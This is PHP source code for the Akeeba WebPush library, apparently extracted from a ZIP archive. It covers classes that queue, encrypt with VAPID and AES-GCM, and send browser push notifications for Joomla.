use Laminas\Diactoros\Request;
use Laminas\Diactoros\StreamFactory;
use function count;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 */
class WebPush
{
	/**
	 * @var array
	 */
	protected $auth;

	/**
	 * @var int Automatic padding of payloads, if disabled, trade security for bandwidth
	 */
	protected $automaticPadding = Encryption::MAX_COMPATIBILITY_PAYLOAD_LENGTH;

	/**
	 * @var HttpClient
	 */
	protected $client;

	/**
	 * @var array Default options : TTL, urgency, topic, batchSize
	 */
	protected $defaultOptions;

	/**
	 * @var null|array Array of array of Notifications
	 */
	protected $notifications;

	/**
	 * @var bool Reuse VAPID headers in the same flush session to improve performance
	 */
	protected $reuseVAPIDHeaders = false;

	/**
	 * @var array Dictionary for VAPID headers cache
	 */
	protected $vapidHeaders = [];

	/**
	 * WebPush constructor.
	 *
	 * @param   array     $auth            Some servers needs authentication
	 * @param   array     $defaultOptions  TTL, urgency, topic, batchSize
	 * @param   int|null  $timeout         Timeout of POST request
	 *
	 * @throws \ErrorException
	 */
	public function __construct(
		array $auth = [], array $defaultOptions = [], ?int $timeout = 30, array $clientOptions = []
	)
	{
		$extensions = [
			'curl'     => '[WebPush] curl extension is not loaded but is required. You can fix this in your php.ini.',
			'mbstring' => '[WebPush] mbstring extension is not loaded but is required for sending push notifications with payload or for VAPID authentication. You can fix this in your php.ini.',
			'openssl'  => '[WebPush] openssl extension is not loaded but is required for sending push notifications with payload or for VAPID authentication. You can fix this in your php.ini.',
		];
		$phpVersion = phpversion();
		if ($phpVersion && version_compare($phpVersion, '7.3.0', '<'))
		{
			$extensions['gmp'] = '[WebPush] gmp extension is not loaded but is required for sending push notifications with payload or for VAPID authentication. You can fix this in your php.ini.';
		}
		foreach ($extensions as $extension => $message)
		{
			if (!extension_loaded($extension))
			{
				trigger_error($message, E_USER_WARNING);
			}
		}

		if (ini_get('mbstring.func_overload') >= 2)
		{
			trigger_error(
				"[WebPush] mbstring.func_overload is enabled for str* functions. You must disable it if you want to send push notifications with payload or use VAPID. You can fix this in your php.ini.",
				E_USER_NOTICE
			);
		}

		if (isset($auth['VAPID']))
		{
			$auth['VAPID'] = VAPID::validate($auth['VAPID']);
		}

		$this->auth = $auth;

		$this->setDefaultOptions($defaultOptions);

		if (!array_key_exists('timeout', $clientOptions) && isset($timeout))
		{
			$clientOptions['timeout'] = $timeout;
		}

		$this->client = (new HttpFactory())->getHttp($clientOptions);
	}

	public function countPendingNotifications(): int
	{
		return null !== $this->notifications ? count($this->notifications) : 0;
	}

	/**
	 * Flush notifications. Triggers the requests.
	 *
	 * @param   null|int  $batchSize  Defaults the value defined in defaultOptions during instantiation (which defaults
	 *                                to 1000).
	 *
	 * @return \Generator|array<MessageSentReport|null>
	 * @throws \ErrorException
	 */
	public function flush(?int $batchSize = null): \Generator
	{
		if (empty($this->notifications))
		{
			yield from [];

			return;
		}

		if (null === $batchSize)
		{
			$batchSize = $this->defaultOptions['batchSize'];
		}

		$batches = array_chunk($this->notifications, $batchSize);

		// reset queue
		$this->notifications = [];

		foreach ($batches as $batch)
		{
			// for each endpoint server type
			$requests = $this->prepare($batch);

			foreach ($requests as $request)
			{
				try
				{
					// So, this SHOULD work, but it doesn't because of a Joomla Framework bug. HARD MODE ENGAGED.
					//$response = $this->client->sendRequest($request);

					$httpMethod = strtolower($request->getMethod());

					$headers = array_map(
						function ($values) {
							if (!is_array($values))
							{
								return $values;
							}

							return implode(' ', $values);
						},
						$request->getHeaders()
					);

					$timeout = $this->client->getOption('timeout', 10);

					switch ($httpMethod)
					{
						case 'options':
						case 'head':
						case 'get':
						case 'trace':
						default:
							/** @var Response $response */
							$response = $this->client->{$httpMethod}(new Uri($request->getUri()), $headers, $timeout);
							break;

						case 'post':
						case 'put':
						case 'delete':
						case 'patch':
							/** @var Response $response */
							$response = $this->client->{$httpMethod}(
								new Uri($request->getUri()), $request->getBody()->getContents(), $headers, $timeout
							);
							break;
					}

					$success = $response->getStatusCode() >= 200 && $response->getStatusCode() < 400;

					if ($success)
					{
						$reason = 'OK';
					}
					else
					{
						$body   = $response->getBody();
						$body   = $body ? (string) $body : null;
						$reason = strip_tags($body ?? '') ?: $response->getReasonPhrase();
					}

					yield new MessageSentReport($request, $response, $success, $reason);
				}
				catch (\Exception $e)
				{
					yield null;
				}
			}
		}

		if ($this->reuseVAPIDHeaders)
		{
			$this->vapidHeaders = [];
		}
	}

	/**
	 * @return int
	 */
	public function getAutomaticPadding()
	{
		return $this->automaticPadding;
	}

	/**
	 * @param   int|bool  $automaticPadding  Max padding length
	 *
	 * @throws \Exception
	 */
	public function setAutomaticPadding($automaticPadding): WebPush
	{
		if ($automaticPadding > Encryption::MAX_PAYLOAD_LENGTH)
		{
			throw new \Exception(
				'Automatic padding is too large. Max is ' . Encryption::MAX_PAYLOAD_LENGTH . '. Recommended max is '
				. Encryption::MAX_COMPATIBILITY_PAYLOAD_LENGTH . ' for compatibility reasons (see README).'
			);
		}
		elseif ($automaticPadding < 0)
		{
			throw new \Exception('Padding length should be positive or zero.');
		}
		elseif ($automaticPadding === true)
		{
			$this->automaticPadding = Encryption::MAX_COMPATIBILITY_PAYLOAD_LENGTH;
		}
		elseif ($automaticPadding === false)
		{
			$this->automaticPadding = 0;
		}
		else
		{
			$this->automaticPadding = $automaticPadding;
		}

		return $this;
	}

	public function getDefaultOptions(): array
	{
		return $this->defaultOptions;
	}

	/**
	 * @param   array  $defaultOptions  Keys 'TTL' (Time To Live, defaults 4 weeks), 'urgency', 'topic', 'batchSize'
	 *
	 * @return WebPush
	 */
	public function setDefaultOptions(array $defaultOptions)
	{
		$this->defaultOptions['TTL']       = $defaultOptions['TTL'] ?? 2419200;
		$this->defaultOptions['urgency']   = $defaultOptions['urgency'] ?? null;
		$this->defaultOptions['topic']     = $defaultOptions['topic'] ?? null;
		$this->defaultOptions['batchSize'] = $defaultOptions['batchSize'] ?? 1000;

		return $this;
	}

	/**
	 * @return bool
	 */
	public function getReuseVAPIDHeaders()
	{
		return $this->reuseVAPIDHeaders;
	}

	/**
	 * Reuse VAPID headers in the same flush session to improve performance
	 *
	 * @return WebPush
	 */
	public function setReuseVAPIDHeaders(bool $enabled)
	{
		$this->reuseVAPIDHeaders = $enabled;

		return $this;
	}

	public function isAutomaticPadding(): bool
	{
		return $this->automaticPadding !== 0;
	}

	/**
	 * Queue a notification. Will be sent when flush() is called.
	 *
	 * @param   string|null  $payload  If you want to send an array or object, json_encode it
	 * @param   array        $options  Array with several options tied to this notification. If not set, will use the
	 *                                 default options that you can set in the WebPush object
	 * @param   array        $auth     Use this auth details instead of what you provided when creating WebPush
	 *
	 * @throws \ErrorException
	 */
	public function queueNotification(
		SubscriptionInterface $subscription, ?string $payload = null, array $options = [], array $auth = []
	): void
	{
		if (isset($payload))
		{
			if (Utils::safeStrlen($payload) > Encryption::MAX_PAYLOAD_LENGTH)
			{
				throw new \ErrorException(
					'Size of payload must not be greater than ' . Encryption::MAX_PAYLOAD_LENGTH . ' octets.'
				);
			}

			$contentEncoding = $subscription->getContentEncoding();
			if (!$contentEncoding)
			{
				throw new \ErrorException('Subscription should have a content encoding');
			}

			$payload = Encryption::padPayload($payload, $this->automaticPadding, $contentEncoding);
		}

		if (array_key_exists('VAPID', $auth))
		{
			$auth['VAPID'] = VAPID::validate($auth['VAPID']);
		}

		$this->notifications[] = new Notification($subscription, $payload, $options, $auth);
	}

	/**
	 * @param   string|null  $payload  If you want to send an array or object, json_encode it
	 * @param   array        $options  Array with several options tied to this notification. If not set, will use the
	 *                                 default options that you can set in the WebPush object
	 * @param   array        $auth     Use this auth details instead of what you provided when creating WebPush
	 *
	 * @throws \ErrorException
	 */
	public function sendOneNotification(
		SubscriptionInterface $subscription, ?string $payload = null, array $options = [], array $auth = []
	): ?MessageSentReport
	{
		$this->queueNotification($subscription, $payload, $options, $auth);

		return $this->flush()->current();
	}

	/**
	 * @return array
	 * @throws \ErrorException
	 */
	protected function getVAPIDHeaders(string $audience, string $contentEncoding, array $vapid)
	{
		$vapidHeaders = null;

		$cache_key = null;
		if ($this->reuseVAPIDHeaders)
		{
			$cache_key = implode('#', [$audience, $contentEncoding, crc32(serialize($vapid))]);
			if (array_key_exists($cache_key, $this->vapidHeaders))
			{
				$vapidHeaders = $this->vapidHeaders[$cache_key];
			}
		}

		if (!$vapidHeaders)
		{
			$vapidHeaders = VAPID::getVapidHeaders(
				$audience, $vapid['subject'], $vapid['publicKey'], $vapid['privateKey'], $contentEncoding
			);
		}

		if ($this->reuseVAPIDHeaders)
		{
			$this->vapidHeaders[$cache_key] = $vapidHeaders;
		}

		return $vapidHeaders;
	}

	/**
	 * @return Request[]
	 * @throws \ErrorException
	 *
	 */
	protected function prepare(array $notifications): array
	{
		$requests = [];
		foreach ($notifications as $notification)
		{
			\assert($notification instanceof Notification);
			$subscription    = $notification->getSubscription();
			$endpoint        = $subscription->getEndpoint();
			$userPublicKey   = $subscription->getPublicKey();
			$userAuthToken   = $subscription->getAuthToken();
			$contentEncoding = $subscription->getContentEncoding();
			$payload         = $notification->getPayload();
			$options         = $notification->getOptions($this->getDefaultOptions());
			$auth            = $notification->getAuth($this->auth);

			if (!empty($payload) && !empty($userPublicKey) && !empty($userAuthToken))
			{
				if (!$contentEncoding)
				{
					throw new \ErrorException('Subscription should have a content encoding');
				}

				$encrypted      = Encryption::encrypt($payload, $userPublicKey, $userAuthToken, $contentEncoding);
				$cipherText     = $encrypted['cipherText'];
				$salt           = $encrypted['salt'];
				$localPublicKey = $encrypted['localPublicKey'];

				$headers = [
					'Content-Type'     => 'application/octet-stream',
					'Content-Encoding' => $contentEncoding,
				];

				if ($contentEncoding === "aesgcm")
				{
					$headers['Encryption'] = 'salt=' . Base64Url::encode($salt);
					$headers['Crypto-Key'] = 'dh=' . Base64Url::encode($localPublicKey);
				}

				$encryptionContentCodingHeader = Encryption::getContentCodingHeader(
					$salt, $localPublicKey, $contentEncoding
				);
				$content                       = $encryptionContentCodingHeader . $cipherText;

				$headers['Content-Length'] = (string) Utils::safeStrlen($content);
			}
			else
			{
				$headers = [
					'Content-Length' => '0',
				];

				$content = '';
			}

			$headers['TTL'] = $options['TTL'];

			if (isset($options['urgency']))
			{
				$headers['Urgency'] = $options['urgency'];
			}

			if (isset($options['topic']))
			{
				$headers['Topic'] = $options['topic'];
			}

			if (array_key_exists('VAPID', $auth) && $contentEncoding)
			{
				$audience = parse_url($endpoint, PHP_URL_SCHEME) . '://' . parse_url($endpoint, PHP_URL_HOST);
				if (!parse_url($audience))
				{
					throw new \ErrorException('Audience "' . $audience . '"" could not be generated.');
				}

				$vapidHeaders = $this->getVAPIDHeaders($audience, $contentEncoding, $auth['VAPID']);

				$headers['Authorization'] = $vapidHeaders['Authorization'];

				if ($contentEncoding === 'aesgcm')
				{
					if (array_key_exists('Crypto-Key', $headers))
					{
						$headers['Crypto-Key'] .= ';' . $vapidHeaders['Crypto-Key'];
					}
					else
					{
						$headers['Crypto-Key'] = $vapidHeaders['Crypto-Key'];
					}
				}
			}

			$streamFactory = new StreamFactory();

			$requests[] = new Request($endpoint, 'POST', $streamFactory->createStream($content), $headers);
		}

		return $requests;
	}
}
PK     \Uqs9  s9  0  vendor/akeeba/webpush/src/WebPush/Encryption.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\WebPush;

use Akeeba\WebPush\Base64Url\Base64Url;
use Akeeba\WebPush\ECC\Curve;
use Akeeba\WebPush\ECC\Point;
use Akeeba\WebPush\ECC\PrivateKey;
use Brick\Math\BigInteger;
use function chr;
use function hex2bin;
use function is_array;
use function mb_substr;
use function openssl_encrypt;
use function pack;
use function str_pad;
use function unpack;
use const false;
use const OPENSSL_RAW_DATA;
use const STR_PAD_LEFT;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 */
class Encryption
{
	public const MAX_PAYLOAD_LENGTH = 4078;

	public const MAX_COMPATIBILITY_PAYLOAD_LENGTH = 3052;

	/**
	 * @param   string  $payload        With padding
	 * @param   string  $userPublicKey  Base 64 encoded (MIME or URL-safe)
	 * @param   string  $userAuthToken  Base 64 encoded (MIME or URL-safe)
	 *
	 * @throws \ErrorException
	 */
	public static function encrypt(string $payload, string $userPublicKey, string $userAuthToken, string $contentEncoding): array
	{
		$localKeyData = self::createLocalKeyObjectUsingOpenSSL();
		$salt         = random_bytes(16);

		$userPublicKey = Base64Url::decode($userPublicKey);
		$userAuthToken = Base64Url::decode($userAuthToken);

		// get local key pair
		$localPublicKey = hex2bin(Utils::serializePublicKeyFromData($localKeyData));

		if (!$localPublicKey)
		{
			throw new \ErrorException('Failed to convert local public key from hexadecimal to binary');
		}

		// get user public key object
		[$userPublicKeyObjectX, $userPublicKeyObjectY] = Utils::unserializePublicKey($userPublicKey);

		$userKeyData = [
			'x'   => $userPublicKeyObjectX,
			'y'   => $userPublicKeyObjectY,
		];

		// get shared secret from user public key and local private key
		$sharedSecret = Encryption::calculateAgreementKey($localKeyData, $userKeyData);

		$sharedSecret = str_pad($sharedSecret, 32, chr(0), STR_PAD_LEFT);

		// section 4.3
		$ikm = Encryption::getIKM($userAuthToken, $userPublicKey, $localPublicKey, $sharedSecret, $contentEncoding);

		// section 4.2
		$context = Encryption::createContext($userPublicKey, $localPublicKey, $contentEncoding);

		// derive the Content Encryption Key
		$contentEncryptionKeyInfo = Encryption::createInfo($contentEncoding, $context, $contentEncoding);
		$contentEncryptionKey     = Encryption::hkdf($salt, $ikm, $contentEncryptionKeyInfo, 16);

		// section 3.3, derive the nonce
		$nonceInfo = Encryption::createInfo('nonce', $context, $contentEncoding);
		$nonce     = Encryption::hkdf($salt, $ikm, $nonceInfo, 12);

		// encrypt
		// "The additional data passed to each invocation of AEAD_AES_128_GCM is a zero-length octet sequence."
		$tag           = '';
		$encryptedText = openssl_encrypt($payload, 'aes-128-gcm', $contentEncryptionKey, OPENSSL_RAW_DATA, $nonce, $tag);

		// return values in url safe base64
		return [
			'localPublicKey' => $localPublicKey,
			'salt'           => $salt,
			'cipherText'     => $encryptedText . $tag,
		];
	}

	public static function getContentCodingHeader(string $salt, string $localPublicKey, string $contentEncoding): string
	{
		if ($contentEncoding === "aes128gcm")
		{
			return $salt
				. pack('N*', 4096)
				. pack('C*', Utils::safeStrlen($localPublicKey))
				. $localPublicKey;
		}

		return "";
	}

	/**
	 * @return string padded payload (plaintext)
	 * @throws \ErrorException
	 */
	public static function padPayload(string $payload, int $maxLengthToPad, string $contentEncoding): string
	{
		$payloadLen = Utils::safeStrlen($payload);
		$padLen     = $maxLengthToPad ? $maxLengthToPad - $payloadLen : 0;

		if ($contentEncoding === "aesgcm")
		{
			return pack('n*', $padLen) . str_pad($payload, $padLen + $payloadLen, chr(0), STR_PAD_LEFT);
		}
		elseif ($contentEncoding === "aes128gcm")
		{
			return str_pad($payload . chr(2), $padLen + $payloadLen, chr(0), STR_PAD_RIGHT);
		}
		else
		{
			throw new \ErrorException("This content encoding is not supported");
		}
	}

	private static function addNullPadding(string $data): string
	{
		return str_pad($data, 32, chr(0), STR_PAD_LEFT);
	}

	private static function calculateAgreementKey(array $private_key, array $public_key): string
	{
		if (function_exists('openssl_pkey_derive'))
		{
			try
			{
				$publicPem  = self::convertPublicKeyToPEM($public_key);
				$private_key = array_map([Base64Url::class, 'encode'], $private_key);
				$privatePem = self::convertPrivateKeyToPEM($private_key);

				$result = openssl_pkey_derive($publicPem, $privatePem, 256);
				if ($result === false)
				{
					throw new \Exception('Unable to compute the agreement key');
				}

				return $result;
			}
			catch (\Throwable $throwable)
			{
				//Does nothing. Will fallback to the pure PHP function
			}
		}


		$curve = self::curve256();

		$rec_x    = self::convertBase64ToBigInteger($public_key['x']);
		$rec_y    = self::convertBase64ToBigInteger($public_key['y']);
		$sen_d    = self::convertBase64ToBigInteger($private_key['d']);
		$priv_key = PrivateKey::create($sen_d);
		$pub_key  = $curve->getPublicKeyFrom($rec_x, $rec_y);

		return hex2bin(str_pad($curve->mul($pub_key->getPoint(), $priv_key->getSecret())->getX()->toBase(16), 64, '0', STR_PAD_LEFT));
	}

	/**
	 * @throws \ErrorException
	 */
	private static function convertBase64ToBigInteger(string $value): BigInteger
	{
		try
		{
			$value = unpack('H*', Base64Url::decode($value));
		}
		catch (\Exception $e)
		{
			$value = unpack('H*', $value);
		}

		if ($value === false)
		{
			throw new \ErrorException('Unable to unpack hex value from string');
		}

		return BigInteger::fromBase($value[1], 16);
	}

	/**
	 * @throws \ErrorException
	 */
	private static function convertBase64ToGMP(string $value): \GMP
	{
		$value = unpack('H*', Base64Url::decode($value));

		if ($value === false)
		{
			throw new \ErrorException('Unable to unpack hex value from string');
		}

		return gmp_init($value[1], 16);
	}

	/**
	 * Creates a context for deriving encryption parameters.
	 * See section 4.2 of
	 * {@link https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-00}
	 * From {@link https://github.com/GoogleChrome/push-encryption-node/blob/master/src/encrypt.js}.
	 *
	 * @param   string  $clientPublicKey  The client's public key
	 * @param   string  $serverPublicKey  Our public key
	 *
	 * @throws \ErrorException
	 */
	private static function createContext(string $clientPublicKey, string $serverPublicKey, string $contentEncoding): ?string
	{
		if ($contentEncoding === "aes128gcm")
		{
			return null;
		}

		if (Utils::safeStrlen($clientPublicKey) !== 65)
		{
			throw new \ErrorException('Invalid client public key length');
		}

		// This one should never happen, because it's our code that generates the key
		if (Utils::safeStrlen($serverPublicKey) !== 65)
		{
			throw new \ErrorException('Invalid server public key length');
		}

		$len = chr(0) . 'A'; // 65 as Uint16BE

		return chr(0) . $len . $clientPublicKey . $len . $serverPublicKey;
	}

	/**
	 * Returns an info record. See sections 3.2 and 3.3 of
	 * {@link https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-00}
	 * From {@link https://github.com/GoogleChrome/push-encryption-node/blob/master/src/encrypt.js}.
	 *
	 * @param   string       $type     The type of the info record
	 * @param   string|null  $context  The context for the record
	 *
	 * @throws \ErrorException
	 */
	private static function createInfo(string $type, ?string $context, string $contentEncoding): string
	{
		if ($contentEncoding === "aesgcm")
		{
			if (!$context)
			{
				throw new \ErrorException('Context must exist');
			}

			if (Utils::safeStrlen($context) !== 135)
			{
				throw new \ErrorException('Context argument has invalid size');
			}

			return 'Content-Encoding: ' . $type . chr(0) . 'P-256' . $context;
		}
		elseif ($contentEncoding === "aes128gcm")
		{
			return 'Content-Encoding: ' . $type . chr(0);
		}

		throw new \ErrorException('This content encoding is not supported.');
	}

	private static function createLocalKeyObjectUsingOpenSSL(): array
	{
		$keyResource = openssl_pkey_new([
			'curve_name'       => 'prime256v1',
			'private_key_type' => OPENSSL_KEYTYPE_EC,
		]);

		if (!$keyResource)
		{
			throw new \RuntimeException('Unable to create the key');
		}

		$details = openssl_pkey_get_details($keyResource);
		if (PHP_MAJOR_VERSION < 8)
		{
			openssl_pkey_free($keyResource);
		}

		if (!$details)
		{
			throw new \RuntimeException('Unable to get the key details');
		}

		return [
			'x' => self::addNullPadding($details['ec']['x']),
			'y' => self::addNullPadding($details['ec']['y']),
			'd' => self::addNullPadding($details['ec']['d']),
		];
	}

	/**
	 * @throws \ErrorException
	 */
	private static function getIKM(string $userAuthToken, string $userPublicKey, string $localPublicKey, string $sharedSecret, string $contentEncoding): string
	{
		if (!empty($userAuthToken))
		{
			if ($contentEncoding === "aesgcm")
			{
				$info = 'Content-Encoding: auth' . chr(0);
			}
			elseif ($contentEncoding === "aes128gcm")
			{
				$info = "WebPush: info" . chr(0) . $userPublicKey . $localPublicKey;
			}
			else
			{
				throw new \ErrorException("This content encoding is not supported");
			}

			return self::hkdf($userAuthToken, $sharedSecret, $info, 32);
		}

		return $sharedSecret;
	}

	/**
	 * HMAC-based Extract-and-Expand Key Derivation Function (HKDF).
	 *
	 * This is used to derive a secure encryption key from a mostly-secure shared
	 * secret.
	 *
	 * This is a partial implementation of HKDF tailored to our specific purposes.
	 * In particular, for us the value of N will always be 1, and thus T always
	 * equals HMAC-Hash(PRK, info | 0x01).
	 *
	 * See {@link https://www.rfc-editor.org/rfc/rfc5869.txt}
	 * From {@link https://github.com/GoogleChrome/push-encryption-node/blob/master/src/encrypt.js}
	 *
	 * @param   string  $salt    A non-secret random value
	 * @param   string  $ikm     Input keying material
	 * @param   string  $info    Application-specific context
	 * @param   int     $length  The length (in bytes) of the required output key
	 */
	private static function hkdf(string $salt, string $ikm, string $info, int $length): string
	{
		// extract
		$prk = hash_hmac('sha256', $ikm, $salt, true);

		// expand
		return mb_substr(hash_hmac('sha256', $info . chr(1), $prk, true), 0, $length, '8bit');
	}

	/**
	 * @throws \InvalidArgumentException if the curve is not supported
	 */
	public static function convertPublicKeyToPEM(array $keyData): string
	{
		$der = pack(
			'H*',
			'3059' // SEQUENCE, length 89
			.'3013' // SEQUENCE, length 19
			.'0607' // OID, length 7
			.'2a8648ce3d0201' // 1.2.840.10045.2.1 = EC Public Key
			.'0608' // OID, length 8
			.'2a8648ce3d030107' // 1.2.840.10045.3.1.7 = P-256 Curve
			.'0342' // BIT STRING, length 66
			.'00' // prepend with NUL - pubkey will follow
		);
		$der .= "\04"
		. str_pad($keyData['x'], 32, "\0", STR_PAD_LEFT)
		. str_pad($keyData['y'], 32, "\0", STR_PAD_LEFT);
		$pem = '-----BEGIN PUBLIC KEY-----'.PHP_EOL;
		$pem .= chunk_split(base64_encode($der), 64, PHP_EOL);
		$pem .= '-----END PUBLIC KEY-----'.PHP_EOL;

		return $pem;
	}

	/**
	 * @throws \InvalidArgumentException if the curve is not supported
	 */
	public static function convertPrivateKeyToPEM(array $keyData): string
	{
		$d = unpack('H*', str_pad(Base64Url::decode($keyData['d']), 32, "\0", STR_PAD_LEFT));

		if (!is_array($d) || !isset($d[1]))
		{
			throw new \InvalidArgumentException('Unable to get the private key');
		}

		$der = pack(
			'H*',
			'3077' // SEQUENCE, length 87+length($d)=32
			. '020101' // INTEGER, 1
			. '0420'   // OCTET STRING, length($d) = 32
			. $d[1]
			. 'a00a' // TAGGED OBJECT #0, length 10
			. '0608' // OID, length 8
			. '2a8648ce3d030107' // 1.3.132.0.34 = P-256 Curve
			. 'a144' //  TAGGED OBJECT #1, length 68
			. '0342' // BIT STRING, length 66
			. '00' // prepend with NUL - pubkey will follow
		);
		$der .= "\04"
			. str_pad(Base64Url::decode($keyData['x']), 32, "\0", STR_PAD_LEFT)
			. str_pad(Base64Url::decode($keyData['y']), 32, "\0", STR_PAD_LEFT);
		$pem = '-----BEGIN EC PRIVATE KEY-----'.PHP_EOL;
		$pem .= chunk_split(base64_encode($der), 64, PHP_EOL);
		$pem .= '-----END EC PRIVATE KEY-----'.PHP_EOL;

		return $pem;
	}

	/**
	 * Returns an NIST P-256 curve.
	 */
	private static function curve256(): Curve
	{
		$p = BigInteger::fromBase('ffffffff00000001000000000000000000000000ffffffffffffffffffffffff', 16);
		$a = BigInteger::fromBase('ffffffff00000001000000000000000000000000fffffffffffffffffffffffc', 16);
		$b = BigInteger::fromBase('5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b', 16);
		$x = BigInteger::fromBase('6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296', 16);
		$y = BigInteger::fromBase('4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5', 16);
		$n = BigInteger::fromBase('ffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551', 16);
		$generator = Point::create($x, $y, $n);

		return new Curve(256, $p, $a, $b, $generator);
	}

}
PK     \6    2  vendor/akeeba/webpush/src/WebPush/Notification.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\WebPush;

use function count;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 */
class Notification
{
	/** @var array Auth details : VAPID */
	private $auth;

	/** @var array Options : TTL, urgency, topic */
	private $options;

	/** @var null|string */
	private $payload;

	/** @var SubscriptionInterface */
	private $subscription;

	public function __construct(SubscriptionInterface $subscription, ?string $payload, array $options, array $auth)
	{
		$this->subscription = $subscription;
		$this->payload      = $payload;
		$this->options      = $options;
		$this->auth         = $auth;
	}

	public function getAuth(array $defaultAuth): array
	{
		return count($this->auth) > 0 ? $this->auth : $defaultAuth;
	}

	public function getOptions(array $defaultOptions = []): array
	{
		$options            = $this->options;
		$options['TTL']     = array_key_exists('TTL', $options) ? $options['TTL'] : $defaultOptions['TTL'];
		$options['urgency'] = array_key_exists('urgency', $options) ? $options['urgency'] : $defaultOptions['urgency'];
		$options['topic']   = array_key_exists('topic', $options) ? $options['topic'] : $defaultOptions['topic'];

		return $options;
	}

	public function getPayload(): ?string
	{
		return $this->payload;
	}

	public function getSubscription(): SubscriptionInterface
	{
		return $this->subscription;
	}
}
PK     \`|12  2  2  vendor/akeeba/webpush/src/WebPush/Subscription.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\WebPush;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 */
class Subscription implements SubscriptionInterface
{
	/** @var null|string */
	private $authToken;

	/** @var null|string */
	private $contentEncoding;

	/** @var string */
	private $endpoint;

	/** @var null|string */
	private $publicKey;

	/**
	 * @param   string|null  $contentEncoding  (Optional) Must be "aesgcm"
	 *
	 * @throws \ErrorException
	 */
	public function __construct(
		string  $endpoint,
		?string $publicKey = null,
		?string $authToken = null,
		?string $contentEncoding = null
	)
	{
		$this->endpoint = $endpoint;

		if ($publicKey || $authToken || $contentEncoding)
		{
			$supportedContentEncodings = ['aesgcm', 'aes128gcm'];
			if ($contentEncoding && !in_array($contentEncoding, $supportedContentEncodings))
			{
				throw new \ErrorException('This content encoding (' . $contentEncoding . ') is not supported.');
			}

			$this->publicKey       = $publicKey;
			$this->authToken       = $authToken;
			$this->contentEncoding = $contentEncoding ?: "aesgcm";
		}
	}

	/**
	 * @param   array  $associativeArray  (with keys endpoint, publicKey, authToken, contentEncoding)
	 *
	 * @throws \ErrorException
	 */
	public static function create(array $associativeArray): self
	{
